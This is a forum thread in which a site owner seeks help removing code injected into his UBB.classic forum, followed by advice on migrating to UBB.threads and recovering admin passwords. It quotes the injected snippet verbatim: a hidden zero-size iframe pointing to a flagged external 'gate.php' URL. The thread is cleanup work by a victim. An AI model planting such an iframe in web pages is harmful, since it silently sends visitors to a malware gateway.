Previous Thread
Next Thread
Print Thread
Hop To
#247239 12/14/2011 9:58 AM
Joined: Feb 2007
Posts: 17
G
stranger
stranger
G Offline
Joined: Feb 2007
Posts: 17
I have a line of code that was somehow injected into my forums page and I can't find the file to remove it.

If you look here:
http://www.pumpkindriver.com/cgi/ultimatebb.cgi

Upper left hand corner if you are on an iPad or iPhone there is a block.. This line of code is causing it.. (open IE and view page source)

Code
<!--qpi--><iframe src=http://sexatcars.in/gate/gate.php?f=800663 width=0 height=0></iframe><!--qpi-->

It then of course is in every email that my new members get.

Can someone tell me the file I need to edit to get that line of code out of there. I have searched and search and am just stumped.

Thanks in advance.

--Bill


How do you live within your dash? http://www.thedashmovie.com/
Every man dies; not every man truly lives! --Braveheart
Your heart is free, have the courage to follow it. --Braveheart.
Joined: Dec 2003
Posts: 6,560
Likes: 78
Joined: Dec 2003
Posts: 6,560
Likes: 78
It is in the head tags so I would assume it is in your styles section for html includes.
From the manual:
Quote
You can use the HTML header and footer functions within the style templates to “embed” the UBB.classic™ interface within your existing Web page (using a table):

1. Enter your UBB.classicâ„¢ control panel.

2. Click the Styles link.

3. Click Create a New Style Set or choose an existing style from the dropdown and select “edit/copy selected style”.

4. Click the HTML Inserts tab. Insert your Web site’s HTML code into the Header and Footer text boxes, as appropriate. Depending on the content of your HTML, you may need to experiment with how you divide the page.

It is possible to create left and right margins by using header HTML like <table><tr><td>Left Margin</td><td> and footer HTML like </td></tr></table>.

If you have created a new style, remember to go back to each forum and apply the new style to the desired forums.

Also this post will be moved to the classic forum.


Blue Man Group
There is no such thing as stupid questions. Just stupid answers
Joined: Dec 2003
Posts: 6,560
Likes: 78
Joined: Dec 2003
Posts: 6,560
Likes: 78
BTW,
A lot of security holes have been discovered by hackers since the days of classic.
Hence why it is not really supported anymore.


Blue Man Group
There is no such thing as stupid questions. Just stupid answers
Joined: Feb 2007
Posts: 17
G
stranger
stranger
G Offline
Joined: Feb 2007
Posts: 17
Its not in the Style fella. But I did double check. Its in the file that edits the border around my forum. When I had to make the text bold on the links on the right side of the page I have to find this file it was vars_ something if I remember right and make the next bold in there.


How do you live within your dash? http://www.thedashmovie.com/
Every man dies; not every man truly lives! --Braveheart
Your heart is free, have the courage to follow it. --Braveheart.
Joined: Dec 2003
Posts: 6,560
Likes: 78
Joined: Dec 2003
Posts: 6,560
Likes: 78
Like I said this version is not supported anymore.
Been years since I used it.
Could be you were hacked.
But the var file sounds like that is or was where it was stored at.

As I recall there were a couple files starting with var.
And they were modified by end users quite a bit at the time.


Blue Man Group
There is no such thing as stupid questions. Just stupid answers
Joined: Dec 2003
Posts: 6,560
Likes: 78
Joined: Dec 2003
Posts: 6,560
Likes: 78
If you use something like grep. You could do a search for a partial string and see what file pops up.
Then edit that file.


Blue Man Group
There is no such thing as stupid questions. Just stupid answers
Ruben #247251 12/14/2011 7:43 PM
Joined: Feb 2007
Posts: 17
G
stranger
stranger
G Offline
Joined: Feb 2007
Posts: 17
Originally Posted by Ruben
BTW,
A lot of security holes have been discovered by hackers since the days of classic.
Hence why it is not really supported anymore.


Thank you for letting me know. I bought and paid a for Ubb.threads lifetime membership and have already uploaded them to my site some two years ago.

http://www.pumpkindriver.com/forums/

But I have no idea how to merge the two together and I have managed to lock myself out of my forums over two years ago. So I have been limping along with classic.

--Bill

Last edited by General Lee; 12/14/2011 7:46 PM.

How do you live within your dash? http://www.thedashmovie.com/
Every man dies; not every man truly lives! --Braveheart
Your heart is free, have the courage to follow it. --Braveheart.
Joined: Dec 2003
Posts: 6,560
Likes: 78
Joined: Dec 2003
Posts: 6,560
Likes: 78
Oh, Okay.
Should be fairly simple if you also downloaded the importer script at the time.
As far as locking yourself out in classic.
You are aware that the member files are in plain text meaning you can access member 1 with a text editor?
It would be like file 00000001.cgi in the member folder.
You can view the file and get all the login info.


Blue Man Group
There is no such thing as stupid questions. Just stupid answers
Ruben #247253 12/14/2011 8:16 PM
Joined: Feb 2007
Posts: 17
G
stranger
stranger
G Offline
Joined: Feb 2007
Posts: 17
Originally Posted by Ruben
Oh, Okay.
Should be fairly simple if you also downloaded the importer script at the time.
As far as locking yourself out in classic.
You are aware that the member files are in plain text meaning you can access member 1 with a text editor?
It would be like file 00000001.cgi in the member folder.
You can view the file and get all the login info.


I didn't download the importer script? Where do I get this? I didn't lock myself out of classic, I locked myself out of ubb.threads hence why I haven't used it for so long.


How do you live within your dash? http://www.thedashmovie.com/
Every man dies; not every man truly lives! --Braveheart
Your heart is free, have the courage to follow it. --Braveheart.
Joined: Jun 2006
Posts: 16,292
Likes: 116
UBB.threads Developer
UBB.threads Developer
Joined: Jun 2006
Posts: 16,292
Likes: 116
Importer is in the member area on the right


I am a Web Development Contractor, I do not work for UBBCentral. I have provided free User to User Support since the beginning of these support forums.
Do you need Forum Install or Upgrade Services?
Forums: A Gardeners Forum, Scouters World
UBB.threads: UBBWiki, UBB Styles, UBB.Sitemaps
Longtime Supporter & Resident Post-A-Holic
VNC Web Services: Code Modifications, Upgrades, Styling, Coding Services, Disaster Recovery, and more!
Joined: Feb 2007
Posts: 17
G
stranger
stranger
G Offline
Joined: Feb 2007
Posts: 17
No one has any ideas on the file to edit.. still no luck here..


How do you live within your dash? http://www.thedashmovie.com/
Every man dies; not every man truly lives! --Braveheart
Your heart is free, have the courage to follow it. --Braveheart.
Joined: Dec 2003
Posts: 6,560
Likes: 78
Joined: Dec 2003
Posts: 6,560
Likes: 78
I already gave a idea.

You have been hacked

Best bet is it is in one of your var### files.

So ftp to your UBBclassic\variables folder download all the files.
Then use a search method such as grep to search in each file for a string that matches such as "sexatcars"
It is the only way you are going to find it.
If it is not in your var files then you will need to expand to the other folders.
Or pay someone to find it for you.

BTW,
The site that was inserted in the iframe is blocked by my internet security as a dangerous site.


Blue Man Group
There is no such thing as stupid questions. Just stupid answers
Ruben #247265 12/15/2011 3:44 PM
Joined: Jun 2006
Posts: 16,292
Likes: 116
UBB.threads Developer
UBB.threads Developer
Joined: Jun 2006
Posts: 16,292
Likes: 116
Originally Posted by Ruben
Or pay someone to find it for you.
I do that lol


I am a Web Development Contractor, I do not work for UBBCentral. I have provided free User to User Support since the beginning of these support forums.
Do you need Forum Install or Upgrade Services?
Forums: A Gardeners Forum, Scouters World
UBB.threads: UBBWiki, UBB Styles, UBB.Sitemaps
Longtime Supporter & Resident Post-A-Holic
VNC Web Services: Code Modifications, Upgrades, Styling, Coding Services, Disaster Recovery, and more!
Joined: Feb 2007
Posts: 17
G
stranger
stranger
G Offline
Joined: Feb 2007
Posts: 17
Thanks. Was just looking for ideas. I know I was hacked. Thanks again.


How do you live within your dash? http://www.thedashmovie.com/
Every man dies; not every man truly lives! --Braveheart
Your heart is free, have the courage to follow it. --Braveheart.
Joined: Dec 2003
Posts: 6,560
Likes: 78
Joined: Dec 2003
Posts: 6,560
Likes: 78
I did not mean to sound curt on my reply.
The issue is
Classic is not supported anymore.
Very few active member here use it.
There are security holes in such a old program.
That said the hack could have been in anywhere.
Hackers are very creative. In fact there was a attack just this past month on the most current version of threads that was just resolved.

So you will need to start looking for where it is inserted.



Blue Man Group
There is no such thing as stupid questions. Just stupid answers
Joined: Feb 2007
Posts: 17
G
stranger
stranger
G Offline
Joined: Feb 2007
Posts: 17
I fixed it! It was a *.pl file!

Gizmo are you interested is merging my two forums?

Found here: http://www.pumpkindriver.com/cgi/ultimatebb.cgi

and here: http://www.pumpkindriver.com/forums/

I feel like I have the hard work out of the way... and MYSQL database created but I am unsure how to merge the two. I have been dragging my feet for two years on this... But with lifetime updates I felt like I had plenty of time! smile


How do you live within your dash? http://www.thedashmovie.com/
Every man dies; not every man truly lives! --Braveheart
Your heart is free, have the courage to follow it. --Braveheart.
Joined: Jun 2006
Posts: 16,292
Likes: 116
UBB.threads Developer
UBB.threads Developer
Joined: Jun 2006
Posts: 16,292
Likes: 116
I'm confused as to the second URL provided, I'm assuming you have a threads install there, if you're running a current threads install along side your classic install you'll end up with duplicate user accounts which will need to be merged after the import.

The import from classic is a little more complicated than just importing data over (you'll need to be running the latest classic to be able to import to threads), plus if you're already running a copy of threads you can up with a bunch of duplicate user accounts that'll need to be merged which will result in time... But if you're willing to pay for time...

Also, the second URL doesn't seem to be working...


I am a Web Development Contractor, I do not work for UBBCentral. I have provided free User to User Support since the beginning of these support forums.
Do you need Forum Install or Upgrade Services?
Forums: A Gardeners Forum, Scouters World
UBB.threads: UBBWiki, UBB Styles, UBB.Sitemaps
Longtime Supporter & Resident Post-A-Holic
VNC Web Services: Code Modifications, Upgrades, Styling, Coding Services, Disaster Recovery, and more!
Joined: Jun 2006
Posts: 16,292
Likes: 116
UBB.threads Developer
UBB.threads Developer
Joined: Jun 2006
Posts: 16,292
Likes: 116
Also, your site has malware in it already... clicky << run your url through there; i got a notification on avast when browsing your site so ran it through.


I am a Web Development Contractor, I do not work for UBBCentral. I have provided free User to User Support since the beginning of these support forums.
Do you need Forum Install or Upgrade Services?
Forums: A Gardeners Forum, Scouters World
UBB.threads: UBBWiki, UBB Styles, UBB.Sitemaps
Longtime Supporter & Resident Post-A-Holic
VNC Web Services: Code Modifications, Upgrades, Styling, Coding Services, Disaster Recovery, and more!
Gizmo #247598 01/03/2012 1:30 PM
Joined: Feb 2007
Posts: 17
G
stranger
stranger
G Offline
Joined: Feb 2007
Posts: 17
I have no users on the second forums just me the webmaster and a few tests accounts they have been there forum 2 years unused.

I was playing around in the MYSQL files and that is why you see the error you do. I have no problem taking the new forums down and creating a new database and reinstalling the new forums if that will help.

The part of having trouble with is merging the two together and now a new problem of updating the old forums to the newest available software.


How do you live within your dash? http://www.thedashmovie.com/
Every man dies; not every man truly lives! --Braveheart
Your heart is free, have the courage to follow it. --Braveheart.
Joined: Feb 2007
Posts: 17
G
stranger
stranger
G Offline
Joined: Feb 2007
Posts: 17
I scanned my site and got no error of malware can you recheck...? I was coping over some files this morning so that may have fixed it.


How do you live within your dash? http://www.thedashmovie.com/
Every man dies; not every man truly lives! --Braveheart
Your heart is free, have the courage to follow it. --Braveheart.
Joined: Feb 2007
Posts: 17
G
stranger
stranger
G Offline
Joined: Feb 2007
Posts: 17
I realize now that I changed the password to mySQL and since I can't get into my new forums because I locked myself out that I can't make changes either.

My biggest problem I am worried about crashing my 10 year old forums while updating them or importing them into the new forums. Having some one skilled pick up where I left off would be great. (for pay of course)


How do you live within your dash? http://www.thedashmovie.com/
Every man dies; not every man truly lives! --Braveheart
Your heart is free, have the courage to follow it. --Braveheart.
Joined: Dec 2003
Posts: 6,560
Likes: 78
Joined: Dec 2003
Posts: 6,560
Likes: 78
upgrading to threads is no big deal.As long as you follow the manual
It will leave the classic board intact and functional.
In fact it does not alter the old board at all. It just reads the data and imports it to mysql.
That is a bad part since you should close the old board during the upgrade so you don't have new posts not imported during the upgrade.
The good part of that is you can do a trial run without impacting your existing board.
Then if it works okay do the real thing first closing your old classic board.


Blue Man Group
There is no such thing as stupid questions. Just stupid answers
Joined: Dec 2003
Posts: 6,560
Likes: 78
Joined: Dec 2003
Posts: 6,560
Likes: 78
BTW to fix your current problems look for a file called config.inc.php.
I think it is in the includes folder.
edit it in say notepad.
It is a simple text file
The top seven lines or so will have your Mysql and login info. edit it and save.


Blue Man Group
There is no such thing as stupid questions. Just stupid answers
Joined: Jun 2006
Posts: 16,292
Likes: 116
UBB.threads Developer
UBB.threads Developer
Joined: Jun 2006
Posts: 16,292
Likes: 116
Well, if the threads install isn't being used, delete it... It's what I think is hacked, and you're not even really using it (until it gets migrated from classic) and you'll want the latest software there too...

I can do the migration no problem, it'll take a while to do though (since technically it's from one product to another versus just an upgrade); shoot me an email james[at]virtualnightclub[dot]net and we can talk logistics.


I am a Web Development Contractor, I do not work for UBBCentral. I have provided free User to User Support since the beginning of these support forums.
Do you need Forum Install or Upgrade Services?
Forums: A Gardeners Forum, Scouters World
UBB.threads: UBBWiki, UBB Styles, UBB.Sitemaps
Longtime Supporter & Resident Post-A-Holic
VNC Web Services: Code Modifications, Upgrades, Styling, Coding Services, Disaster Recovery, and more!
Joined: Feb 2007
Posts: 17
G
stranger
stranger
G Offline
Joined: Feb 2007
Posts: 17
Ok thats fixed now I need to be about to log into my new forums with my webmaster profile that I created there but I am locked out. Got any idea about that?


How do you live within your dash? http://www.thedashmovie.com/
Every man dies; not every man truly lives! --Braveheart
Your heart is free, have the courage to follow it. --Braveheart.
Gizmo #247620 01/04/2012 12:03 AM
Joined: Feb 2007
Posts: 17
G
stranger
stranger
G Offline
Joined: Feb 2007
Posts: 17
Originally Posted by Gizmo
Well, if the threads install isn't being used, delete it... It's what I think is hacked, and you're not even really using it (until it gets migrated from classic) and you'll want the latest software there too...

I can do the migration no problem, it'll take a while to do though (since technically it's from one product to another versus just an upgrade); shoot me an email james[at]virtualnightclub[dot]net and we can talk logistics.

I would love to delete it but I have the colors set the way I want to view set the way I want and everything. It was so much work for me to get it up I hate to just delete it. I will send ya an email later tonight.


How do you live within your dash? http://www.thedashmovie.com/
Every man dies; not every man truly lives! --Braveheart
Your heart is free, have the courage to follow it. --Braveheart.
Joined: Feb 2007
Posts: 17
G
stranger
stranger
G Offline
Joined: Feb 2007
Posts: 17
Ok I got myself in and taking the new forums (ubbthreads back to stock)


How do you live within your dash? http://www.thedashmovie.com/
Every man dies; not every man truly lives! --Braveheart
Your heart is free, have the courage to follow it. --Braveheart.
Joined: Feb 2007
Posts: 17
G
stranger
stranger
G Offline
Joined: Feb 2007
Posts: 17
Ok 1 member listed on the new forums and all taken back to stock except for colors.


How do you live within your dash? http://www.thedashmovie.com/
Every man dies; not every man truly lives! --Braveheart
Your heart is free, have the courage to follow it. --Braveheart.
Joined: Feb 2007
Posts: 17
G
stranger
stranger
G Offline
Joined: Feb 2007
Posts: 17
Ok I downloaded the newest ubb.classic...

when I go to this link: http://ubbcentral.com/support/install.php?product=UBB.classic

There are errors all over the page... is this correct?


How do you live within your dash? http://www.thedashmovie.com/
Every man dies; not every man truly lives! --Braveheart
Your heart is free, have the courage to follow it. --Braveheart.
Joined: Jun 2006
Posts: 16,292
Likes: 116
UBB.threads Developer
UBB.threads Developer
Joined: Jun 2006
Posts: 16,292
Likes: 116
Yeah, those should still work (as classic was eol before threads v7 came out, and those are older than the first release of threadsv7).

As for the threads, hmmm, well, can we chmod the directory 000 until you can do something with it? what version is it? it needs to be patched if its not the current p2


I am a Web Development Contractor, I do not work for UBBCentral. I have provided free User to User Support since the beginning of these support forums.
Do you need Forum Install or Upgrade Services?
Forums: A Gardeners Forum, Scouters World
UBB.threads: UBBWiki, UBB Styles, UBB.Sitemaps
Longtime Supporter & Resident Post-A-Holic
VNC Web Services: Code Modifications, Upgrades, Styling, Coding Services, Disaster Recovery, and more!
Joined: Dec 2003
Posts: 6,560
Likes: 78
Joined: Dec 2003
Posts: 6,560
Likes: 78
If the email function is working. when you attempt to login as webmaster use the lost password feature and it will email a temp password to use then just edit your profile and type in a password you can remember.


Blue Man Group
There is no such thing as stupid questions. Just stupid answers
Joined: Jun 2006
Posts: 16,292
Likes: 116
UBB.threads Developer
UBB.threads Developer
Joined: Jun 2006
Posts: 16,292
Likes: 116
One of the files in the vars directory should be named member_list.cgi (or something similar), open it up, find your user id, then open that number.cgi and it'll have your password in plain text.


I am a Web Development Contractor, I do not work for UBBCentral. I have provided free User to User Support since the beginning of these support forums.
Do you need Forum Install or Upgrade Services?
Forums: A Gardeners Forum, Scouters World
UBB.threads: UBBWiki, UBB Styles, UBB.Sitemaps
Longtime Supporter & Resident Post-A-Holic
VNC Web Services: Code Modifications, Upgrades, Styling, Coding Services, Disaster Recovery, and more!
Joined: Dec 2003
Posts: 6,560
Likes: 78
Joined: Dec 2003
Posts: 6,560
Likes: 78
I think we are all talking about two different products at the same time. Getting a little confused on which product you are asking about.
Instead of using the terms new forum old forum. Refer to classic or threads when asking a question.
Since this is a classic forum.

As far as colors in threads you can export the style in the control panel.
Wipe the threads install. except for the export file.
Then start from new on threads and import the style back. Poof done. the export/import style process is just a simple download/upload process.

Being locked out of threads, you can use the lost password feature.
Being locked out of classic, Gizmo and I have already told you how to find it.


Blue Man Group
There is no such thing as stupid questions. Just stupid answers
Joined: Jun 2006
Posts: 16,292
Likes: 116
UBB.threads Developer
UBB.threads Developer
Joined: Jun 2006
Posts: 16,292
Likes: 116
You have a point Ruben lol, I'm not sure which he's locked out of either lol... I emailed him a bit ago with information about moving things over to threads, if he goes along with it I'll treat him right through the dredge of a classic import... Nothing too big though, just a long, long, long process lol


I am a Web Development Contractor, I do not work for UBBCentral. I have provided free User to User Support since the beginning of these support forums.
Do you need Forum Install or Upgrade Services?
Forums: A Gardeners Forum, Scouters World
UBB.threads: UBBWiki, UBB Styles, UBB.Sitemaps
Longtime Supporter & Resident Post-A-Holic
VNC Web Services: Code Modifications, Upgrades, Styling, Coding Services, Disaster Recovery, and more!

Link Copied to Clipboard
ShoutChat
Comment Guidelines: Do post respectful and insightful comments. Don't flame, hate, spam.
Recent Topics
spam issues
by ECNet - 03/19/2024 11:45 PM
Looking for a forum
by azr - 03/15/2024 11:26 PM
Editing Links in Post
by Outdoorking - 03/15/2024 9:31 AM
Question on barkrowler and the like
by Mors - 02/29/2024 6:51 PM
Member Permissions Help
by domspeak - 02/27/2024 6:31 PM
Who's Online Now
1 members (Havenofsobriety), 522 guests, and 99 robots.
Key: Admin, Global Mod, Mod
Random Gallery Image
Latest Gallery Images
Los Angeles
Los Angeles
by isaac, August 6
3D Creations
3D Creations
by JAISP, December 30
Artistic structures
Artistic structures
by isaac, August 29
Stones
Stones
by isaac, August 19
Powered by UBB.threads™ PHP Forum Software 8.0.0
(Preview build 20230217)